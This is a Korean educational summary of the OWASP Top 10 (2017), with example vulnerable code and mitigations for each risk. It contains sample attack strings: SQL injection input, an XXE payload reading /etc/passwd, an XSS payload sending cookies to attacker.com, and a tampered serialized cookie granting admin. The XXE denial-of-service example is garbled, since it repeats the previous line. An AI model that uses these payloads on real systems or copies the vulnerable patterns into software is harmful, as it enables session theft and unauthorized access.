해당 글은 2017년에 발표된 문서를 기준으로 작성되었습니다. 참고하여 읽어주시길 바랍니다.
Open Web Application Security Project(OWASP)는 소프트웨어 보안 향상을 위해 여러가지 일을 하는 오픈소스 프로젝트이다. OWASP에서는 세계적으로 많고 다양한 구성원들이 속해있고, 여러 회사 혹은 개발자들의 웹 보안 기술을 지원한다. 주로 웹의 보안 취약점, 악성파일 및 스크립트 등을 연구하며, 2004년 이래로 3~4년에 한 번씩 10대 웹 어플리케이션 취약점(OWASP TOP 10)을 발표했다.
OWASP TOP 10은 웹 어플리케이션에서 발생할 수 있는 심각한 보안 위험들을 몇 가지 평가 기준에 맞춰 선별한다. 발표 내용에서는 공격가능성, 취약점 확산정도, 취약점 탐지 정도, 기술적 영향을 구분해서 각각의 위험도를 평가했다. 시간이 지날 때마다 쏟아지는 신기술과 그에 따라 발생하는 수많은 보안 위협 대비책이 될 수 있도록 방향성을 제시한다.
공격자들은 어플리케이션을 통해 다양한 경로를 활용하여 공격한다. 공격의 목적은 단순히 피해를 입히기 위해서일 수도 있고, 주요 정보를 탈취하기 위해 확실한 목적으로 공격할 수도 있다.
이번 문서에서는 위의 예시 모델 외에도 다양한 경로의 보안 공격을 분석한 결과와 대비책의 방향성을 제시해주는 10가지 보안 위험을 소개한다.
코드 인젝션은 공격자가 공격 코드를 삽입하고 의도한 실행흐름을 변경하는 방식의 공격이다. 환경변수, 파라미터 등 모든 데이터 소스는 인젝션 공격요인이 될 수 있다. 보통 인젝션은 악의적인 데이터를 인터프리터에 보낼 때 발생한다. 이는 코드 검사 단계에서는 발견하기 쉽지만, 테스트 단계에서 발견하기 어렵기 때문에 취약점 스캐너, 퍼저같은 도구를 활용한다.
먼저 어플리케이션의 취약점을 확인해보자. 어플리케이션이 아래에 항목에 해당되는 경우 공격에 취약하다.
#예제1 쿼리문
String query = "SELECT * FROM accounts WHERE custID='" + request.getParameter("id") + "'";
#예제2 HQL
Query HQLQuery = session.createQuery("FROM accounts WHERE custID='"
+ request.getParameter("id") + "'";
위의 두 가지 예시에서 공격자는 전송할 id 값을 'or '1'=1 로 수정한다.
이런 방법을 통해, 두 쿼리의 의미가 변경되어 accounts 테이블 내의 모든 데이터가 반환된다. 더 위험한 공격으로는 저장된 데이터를 수정하거나 파괴할 수도 있다.
이와 같은 공격을 예방하기 위해서는 데이터를 지속적으로 명령어와 쿼리로부터 분리해야 한다.
기본적으로 인터프리터 사용을 피하거나 매개변수화된 인터페이스를 제공하는 안전한 API를 사용하는 것이다. 혹은 ORMs 툴을 사용하도록 통합할 수도 있다.
주의: 매개변수화된 경우에도 PL/SQL이나 T-SQL과 데이터/쿼리가 연결되거나 악의적인 데이터가 EXECUTE IMMEDIATE 또는 exec()와 함께 실행된다면 stored procedure는 SQL 인젝션을 사용할 수 있다.
서버측의 화이트리스트 입력을 사용한다. 하지만 text area 혹은 API들처럼 특수 문자를 사용하는 여러 어플리케이션에 있어서 완벽한 방법은 아니다.
잔류 동적 쿼리들을 위해 특정 필터링 구문을 사용해 인터프리터의 특수문자를 필터링 처리한다.
주의: 테이블, 컬럼 이름 등과 같은 SQL구조는 필터링 처리를 할 수가 없으므로 사용자가 제공한 구조이름은 안전하지 않다.
LIMIT 혹은 다른 SQL 컨트롤 쿼리를 사용해 SQL 인젝션을 통한 큰 피해를 예방한다.
인증 및 세션 관리와 관련된 어플리케이션 기능이 잘못 구현되어 암호, 키, 토큰 등이 위험에 노출될 수 있다. 이를 공격자가 악용할 경우, 구현 상의 결함을 악용해 일시적 혹은 영구적으로 다른 사용자의 권한을 획득할 수 있다.
인증과 관련된 공격으로부터 보호하기 위해선 사용자의 신원, 인증과 세션을 관리하는 것이 중요하다.
몇 가지 경우를 살펴보자.
#1 알려진 암호 목록을 사용한 계정 정보 삽입
어플리케이션이 자동화된 위협 또는 계정 정보 삽입 방어를 구현하지 않은 경우, 어플리케이션을 암호 오라클로 사용해 계정 정보가 유효한지 확인할 수 있다.
#2 암호를 유일한 인증요소로 사용하는 경우
대부분의 인증 공격은 암호를 유일한 인증요소로 계속해서 사용할 때 발생한다. 모범 사례로 간주된 비밀번호 주기와 복잡성 요구사항은 사용자가 취약한 비밀번호를 등록하고 재사용할 수 있도록 권장한다. 다중인증을 사용하여 이를 예방한다.
#3 어플리케이션 세션의 적절한 만료시간이 정해지지 않는 경우
사용자가 공용 컴퓨터로 어플리케이션에 접근하고, 로그아웃하지 않는다면 한 시간 이후에 공격자가 같은 브라우저를 사용해 인증정보를 활용할 수 있다.
여러 웹 어플리케이션과 API는 민감한 정보들을 제대로 보호하지 못 한다. 공격자가 신용카드 정보를 얻거나, 신분 도용 등 여러 범죄에 사용하기 위해 보안이 취약한 데이터를 훔치거나 수정할 수 있다. 데이터를 저장하거나 전송할 때 암호화같은 추가적인 보안방법이 적용되지 않으면 위와 같은 공격에 노출될 수 있다.
데이터 보호 요구사항을 확인하여 패스워드, 신용카드 번호 등 특별한 보호가 필요하고 개인보호법, 금융데이터 보호 규정에 해당된다면 특별히 보호해야 한다.
#1 어플리케이션은 자동화된 데이터베이스 암호화를 사용해 데이터베이스의 신용카드번호를 암호화한다. 그러나 이 데이터는 검색될 때 자동으로 복호화디기 때문에 SQL 삽입 결함으로 일반 텍스트의 신용카드번호가 검색될 수 있다.
#2 패스워드를 저장할 때 솔트를 하용하지 않거나 간단한 해시를 사용하는 데이터베이스. 파일 업로드 취약점을 통해 공격자는 패스워드 데이터베이스를 가져올 수 있다. 정렬되지 않은 해시들은 미리 계산된 해시들을 가진 레인보우 테이블에 노출될 수 있다. 간단하거나 빠른 해시 함수로 만들어진 해시는 정렬되었더라도 GPU를 사용해 크랙될 수 있다.
XML(Extensible Markup Language)은 W3C에서 개발된, 특수 목적을 갖는 마크업 언어를 만드는 사용하는데 사용하는 다목적 마크업 언어다. 하지만 오래되고 설정이 잘못된 XML 프로세서들, 즉, 취약한 XML parser들은 외부 엔터티를 참조하는 XML 입력을 처리할 때 발생한다. 외부 엔터티는 파일 URL 핸들러, 내부 파일 공유, 내부 포트 검색, 원격 코드 실행 및 서비스 거부 등의 공격으로 내부파일을 공개할 수 있다.
XML 엔터티는 몇몇 타입의 저장단위를 모은 단위로, 시스템 identifier를 통해 로컬 혹은 원격지의 컨텐츠의 접근이 가능한 엔터티를 external entity라고 한다.
만약 어플리케이션이 다음과 같이 XML 기반 웹서비스나 다운스트림을 사용할 경우 공격에 취약할 수 있다.
임베디드 장비 공격을 포함해 수많은 XXE 이슈들이 발견된다. XXE는 의존성이 큰 것들을 포함하는 예상치 못한 곳에 발생한다. 가장 쉬운 방법은 악의적인 XML 파일을 업로드하는 것이다.
#1 공격자가 서버에서 데이터를 가져오려 한다.
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<foo>&xxe;</foo>
#2 공격자가 엔터티라인을 변경해 서버의 사설망을 찾으려 한다.
<!ENTITY xxe SYSTEM "https://192.168.1.1/private" >]>
#3 공격자가 잠재적으로 끝나지 않는 파일을 포함해 서비스 거부 공격을 시도한다.
**<!ENTITY xxe SYSTEM "https://192.168.1.1/private" >]>**
완벽하게 XEE을 확인하고 완화시키는데 개발자 교육이 필수적이다. 그 외에도 XXE를 막기 위해서는 다음과 같은 대책들이 필요하다.
위 방법들이 가능하지 않다면 XXE 공격을 확인하고 감시하고 막기 위해 가상 패치, API 보안 게이트웨이, 웹 어플리케이션 방화벽(WAF) 사용을 고려해보는 것을 권장한다.
인증된 사용자가 할 수 있는 작업의 제한이 제대로 이뤄지지 않을 경우, 공격자가 이 결함을 악용해 권한이 없는 기능과 데이터에 접근할 수 있다.
접근통제는 사용자들이 의도한 권한을 벗어나지 않도록 정책을 시행한다. 접근통제에 실패할 경우 일반적으로 인가되지 않은 정보 노출, 데이터 조작이나 파괴, 사용자에게 허용된 범위를 벗어난 사업적 기능 수행 등 큰 파장을 초래한다. 흔히 다음과 같은 취약점을 포함한다.
입력 값을 검증절차 없이 사용자 계정정보에 접근하는 용도의
SQL문에서 사용하는 애플리케이션이 있고 아래와 같은 형태의 소스코드로 구현되어 있다고 가정하자.
pstmt.setString(1, request.getParameter("acct"));
ResultSet results = pstmt.executeQuery( );
공격자가 브라우저에서 서버로 전송되는 시점에 아래와 같은 형태로 acct 파라미터를 원하는 값으로 수정할 수 있고, 만약 입력 값을 적절히 검증하지 않는다면 다른 사용자의 계정에 접근할 수 있다.
http://example.com/app/accountInfo?acct=notmyacct
접근 통제는 공격자가 접근 제어 검사 또는 메타 데이터를 수정할 수 없는 신뢰할 수 있는 서버 측 코드 또는 서버가 없는 API에 적용될 경우에만 효과적이다.
잘못된 보안 구성은 가장 흔한 이슈다. 취약한 기본 설정, 미완성이거나 임시 설정해둔 기능, 개방된 클라우드 저장소, 잘못 구성한 HTTP 헤더 등등 다양한 원인에 의해 발생한다. 모든 운영체제, 프레임워크, 라이브러리, 어플리케이션을 안전하게 설정해야할 뿐만 아니라 주기적인 패치와 업그레이드가 필요하다.
#1 알려진 취약점을 포함하고 있는 샘플 어플리케이션이 삭제되지 않은 채로 어플리케이션 서버가 운영 환경에서 사용 중이라면, 샘플 어플리케이션은 공격자가 서버를 공격하는데 악용될 수 있다.
샘플 어플리케이션 중에 관리 콘솔이 포함되어 있고 기본 계정 정보가 변경되지 않은 상태라면, 공격자는 기본 패스워드를 사용해 접속에 성공함으로써 권한을 얻을 수 있다.
#2 서버 내 디렉토리 리스팅이 비활성화되지 않았다면, 공격자는 디렉토리 목록이 노출됨을 발견하게 되고 자바 클래스 파일을 다운로드하여 디컴파일과 리버스엔지니어링을 통해 애플리케이션 상에 존재하는 심각한 접근 통제 취약점을 찾아낼 수 있다.
XSS 취약점은 어플리케이션은 올바르지 않은 유효성 검사와 필터링 처리없이 새 웹 페이지에 신뢰할 수 없는 데이터를 포함하거나, HTML을 생성하는 브라우저 API, 혹은 JavaScript를 활용한 사용자 제공 데이터로 기존 웹페이즈를 업데이트할 때 발생한다. XSS는 공격자가 피해자의 브라우저에서 스크립트를 실행시켜 사용자 세션을 탈취할 수 있게 만들고, 웹 사이트를 변조하거나, 악성 사이트로 리다이렉션할 수 있도록 한다.
일반적으로 사용자의 브라우저를 목표로 하는 세 가지 형태의 크로스
사이트 스크립팅(XSS)이 있다.
Reflected XSS HTML 출력의 일부로써 유효성이 확인되지 않고, 특수문자가 필터되지 않은 사용자 입력이 애플리케이션 혹은 API에 포함된다. 공격이 성공하면 공격자는 피해자의 브라우저에서 임의의 HTML과 자바스크립트를 실행할 수 있다. 전형적으로 사용자는 악의적인 워터링 홀 공격을 수행하는 웹 사이트, 광고 사이트 혹은 이와 유사한 공격자에 의해 제어되는 페이지를 가리키는 몇몇 악의적인 링크와 상호 작성을 해야 할 필요가 있다.
Stored XSS 응용 프로그램 또는 API에서 나중에 다른 사용자 또는 관리자가 볼 수 있는 가공되지 않은 사용자 입력값이 저장된다. Stored XSS는 종종 중대한 위협으로 간주된다.
DOM XSS 페이지에 공격자가 제어 가능한 데이터를 동적으로 포함할 수 있는 자바스크립트 프레임워크, 한 페이지 어플리케이션, 그리고 API는 DOM 기반 XSS에 취약하다. 이론상으로 어플리케이션은 안전하지 않은 자바스크립트 API로 공격자가 제어 가능한 데이터를 보내지 않는다. 전형적인 XSS 공격은 세션 도용, 계정 탈취, 다중 요소 인증 우회, 트로이 목마 악성코드 배포 로그인 패널과 같은 DOM 노드 대체 혹은 변조, 악성코드 다운로드, 키 로깅, 그리고 다른 클라이언트 측면의 공격과 같은 사용자 브라우저에 대한 공격을 포함한다.
#1 이 어플리케이션은 유효성 검사 또는 필터링 처리없이 다음의 HTML 스니펫의 구성 내 신뢰할 수 없는 데이터를 사용한다.
(String) page += "<input name='creditcard' type='TEXT' value='"
+ request.getParameter("CC") + "'>";
공격자는 브라우저 내에서 다음과 같이 ‘CC’ 파라미터를 조작한다.
'><script>document.location=
'http://www.attacker.com/cgi-bin/cookie.cgi?
foo='+document.cookie</script>'
이 공격으로 인해 피해자의 세션 ID가 공격자의 웹 사이트로 전송되어 공격자가 사용자의 현재 세션을 가로챌 수 있다. 공격자는 XSS를 사용하여 어플리케이션이 사용할 수 있는 자동화된 크로스 사이트 요청 변조(CSRF) 방어를 무력화할 수 있다.
XSS를 방지하려면 신뢰할 수 없는 데이터를 사용 중인 브라우저
컨텐츠와 분리해야 한다.
안전하지 않은 역직렬화는 원격코드의 실행까지 이어진다. 역직렬화 취약점이 원격코드 실행까지 이어지지 않더라도 본 취약점을 통해 권한 상습, 코드 인젝션, 리플레이 공격이 가능하다.
어플리케이션 및 API가 공격자의 악의적이거나 변조된 객체를 역직렬화하면 취약해질 수 있다. 이로 인해 크게 두가지 유형의 공격이 발생할 수 있다.
객체 및 데이터 구조 관련 공격이다. 공격자가 애플리케이션 로직을 수정하거나 애플리케이션에 사용 가능한 클래스가 있는 경우 임의의 원격 코드를 실행하여 역직렬화 중이나 이후에 동작을 변경할 수 있다.
접근 통제 관련 공격과 같이, 기존 데이터 구조가 사용되지만 내용이 변경되는 일반적인 데이터 변조 공격이다.
직렬화는 다음 용도의 어플리케이션에서 사용될 수 있다.
RPC(Remote-Process Communication)/IPC(Inter-Process Communication)
유선 프로토콜, 웹 서비스, 메세지 브로커
캐싱/ 지속 연결
데이터베이스, 캐시 서버, 파일 시스템
HTTP 쿠키, HTML 양식 파라미터, API 인증 토큰
#1 React 어플리케이션은 일련의 Spring Boot 마이크로 서비스를 호출한다. 기능적 프로그래머이기 때문에 코드가 변경되지 않도록 노력했다. 이들이 제기한 해결책은 사용자 상태를 일련 번호로 변환하고 각 요청과 함께 앞뒤로 전달하는 것이다. 공격자는 "R00“ 자바 객체 서명을 확인하고 자바 직렬 킬러 도구를 사용하여 애플리케이션 서버에서 원격 코드 실행을 얻는다.
#2 PHP 포럼은 PHP 객체 직렬화를 사용하여 사용자의 사용자 ID, 역할, 암호, 해시 및 기타 상태를 포함하는 “super“ 쿠키를 저장한다.
a:4:{i:0;i:132;i:1;s:7:"Mallory";i:2;s:4:"user";
i:3;s:32:"b6a8b3bea87fe0e05022f8f3c88bc960";}
공격자는 직렬화된 객체를 변경하여 관리자 권한을 부여한다.
a:4:{i:0;i:1;i:1;s:5:"Alice";i:2;s:5:"admin";
i:3;s:32:"b6a8b3bea87fe0e05022f8f3c88bc960";}
신뢰할 수 없는 출처로부터 직렬화된 객체를 허용하지 않거나 원시 데이터 유형만을 허용하는 직렬화 매체를 사용하는 것이 안전한 아키텍처의 유일한 패턴이다.
라이브러리, 프레임워크 및 다른 소프트웨어 모듈같은 컴포넌트들은 어플리케이션과 같은 권한으로 실행된다. 만약 취약한 컴포넌트가 악용되면, 중요 데이터 손실이 발생하거나 공격자에게 서버를 뺏길 수도 있다. 알려진 취약점이 있는 컴포넌트를 사용한 어플리케이션과 API는 어플리케이션은 여러 문제점이 발생할 수 있다.
#1 일반적으로 구성요소는 애플리케이션 자체와 동일한 권한으로 실행되므로 구성요소의 결함으로 인해 심각한 영향을 받을 수 있다. 이러한 결함은 코딩 오류같은 단순한 실수 혹은 백도어를 심는 등의 고의적 의도일 수 있다.
불충분한 로깅과 모니터링은 공격자들이 시스템을 더 많이 공격하고, 지속적으로 공격하는데 영향을 미친다. 이 문제를 해결하지 않는다면 더 많은 시스템을 중심으로 공격하거나 데이터를 변조, 탈취 혹은 삭제할 수 있다. 대부분의 사례에서 공격받은 것을 알아차리는데 200일이 넘게 걸리고, 이마저도 자체적으로 알아내는 것이 아니라 제 3자가 확인한다.
#1 공격자는 공통 암호를 사용하는 사용자를 찾기 위해 스캔을 한다. 이 암호를 사용하여 모든 계정을 탈취할 수 있다. 다른 모든 사용자의 경우, 이 스캔은 단지 하나의 잘못된 로그인 기록만을 남긴다. 며칠 후 다른 비밀번호로 이 작업을 반복할 수 있다.
#2 미국의 한 주요 소매 업체는 첨부 파일을 분석하는 내부 악성코드 분석 샌드박스를 갖고 있었다. 샌드박스 소프트웨어는 의도치않은 소프트웨어를 탐지했지만, 아무도 이 탐지에 대응하지 않았다. 샌드박스는 외부 은행에 의한 사기성 카드 거래로 인해 그 보안사고가 탐지되기 전까지도 계속해서 경고를 표시했다.
본 문서는 보통 3~4년 주기로 발표되기 때문에 올해 혹은 내년에 새롭게 발표될 예정이다. 새로운 웹 어플리케이션을 개발한다면 최소한 위와 같은 보안 이슈들을 면밀히 검토할 필요성이 있다. 만약 기존의 서비스를 관리하고 있다면 처음 개발할 때 안전하다고 생각했던 코드들과 구성요소들을 몇 번이고 다시 살펴봐야 한다. 넘쳐나는 여러 공격방법들을 모두 완벽하게 숙지하고 있지는 않더라도 최소한 이 정도로 큰 위협에 미리 대비하는 자세를 갖추자.
이상으로, OWASP 2017 TOP10 정리글을 마친다.